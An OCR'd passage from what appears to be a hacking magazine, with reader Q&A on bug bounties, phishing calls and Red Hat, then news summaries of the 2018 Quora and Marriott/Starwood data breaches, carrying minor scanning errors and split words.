-s and detect a bug you will be paid the amou
-nt specified by them for that particular bug.
The only requirement is you need to be the fir
-st one to send the information of the bug to
them. Happy bug hunting.

Q : How can | identify phishing calls?

A : The surefire way to identify a phishing call
Is to observe if they are asking too much infor
-mation about you. A genuine call from a firm
or company (or a bank ) will not ask for inform
-ation like username, password and other con
-fidential data from you. If they are asking for
these and other sensitive information, it is def
-initely a phishing call.

Q :What is Redhat in Ethical hacking?

In ethical hacking, hackers are classified into
three classes : white hat, black hat and grey
hat. The only similarity between the above me
-ntioned classes and redhat is coincidence. T-
here is no connection between redhat and eth
-ical hacking. Redhat is a company that make
-s Linux OS.

P

Send all
your questions
regarding
hacking
to
ga@hackercool.com
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QUORA AND MARRIOTT

~

N

DATA BREACH THIS MONTH

.

lGluc'.-ra IS a question and answer website whe
-re users can ask questions and get answers
from other registered users. It works on a coll
-aborative model. By September 2018, Quora
thad 300 million monthly users.

What?

‘Quora announced data belonging to over 100
million users has been exposed due to a data
breach that Quora detected recently.The data
included Account and User information like

ame of the user, their email address,user ID,
and their encrypted password. Information bel
-onging to users like actions of users like the
questions they asked, answers, answer reque
-sts, comments, thanks, blog posts, upvotes,
Eownvotes. data imported from linked networ-
k

s ,contacts, demographic information, intere-
ts and access tokens.

How?

The details of how the breach happened is n-
q)t yet revealed. The company just announced
hat a malicious third party accessed the abov
mentioned data. There are some reports
hat it may be a result of a vulnerability in We-
b server.

Aftermath

Quora in their statement have assured that
any data that was posted anonymously was n
-ot breached. It has also tried to assure users
that it has took all measures to safeguard use
-r data. Even though the passwords have be
-en breached, it said that there is no need to
panic as they are encrypted with a salt but th-
company failed to mention what was the en
ryption technology used. Some encryptions
an be easily cracked. The company has also
launched investigation along with a third party
Forensic firm and almost fixed the root cause
of the breach.
The company has also notified the users
whose data may have been breached. It has
Iso set a mandatory password reset for its
users. It is also invalidating the present pass-
ords used by Quora users.

Marriott International is an American Multi
national hotel and lodging group with around
7000 properties in 130 countries. In 2017, this
group received the 33 rank in Fortune's 100
best companies to work for.

What?

Data belonging to over 500 million guests
has been compromised and their personal da
ta was leaked. Out ofthis 500 million,over 327
million guests lost data like name, mailing add
-ress, email address,passport number,date of
birth, gender and phone number. The leaked
infromation also included arrival and departur
e information, date of reservation and commu
-nication preferences. Even account informati
-on of Starwood Preferred Guest (SPG) was
leaked. There are some reports that even cre-
dit card information may have been compromi
-sed.

All the data belonged to customers of Star
wood Hotels and Resorts which is a subsidiar
-y of Marriott International. The hotels in this s
-ubsidiary include W Hotels, The St. Regis,
Sheraton Hotels & Resorts, Westin Hotels &
Resorts, Element Hotels, Aloft Hotels, The Lu
-xury Collection, Tribute Portfolio, Le Méridien
Hotels & Resorts, Four Points by Sheraton an
-d Design Hotels.

How?

The breach happened when hackers got acce
-Ss to the Starwood reservation database in
2014.

Who?

There are suspicions that a Chinese hacking
group may be behind this breach. There are
also doubts that more than one state sponsor
-ed group may be involved. They came to this
conclusion after finding hacking tools that we-
re previously available were found.

What You Should do?

Irrespective of what the company is doing, gu
ests who doubt they were affected should cha
nge their passwords,not only here but also on
other services and monitor their accounts.
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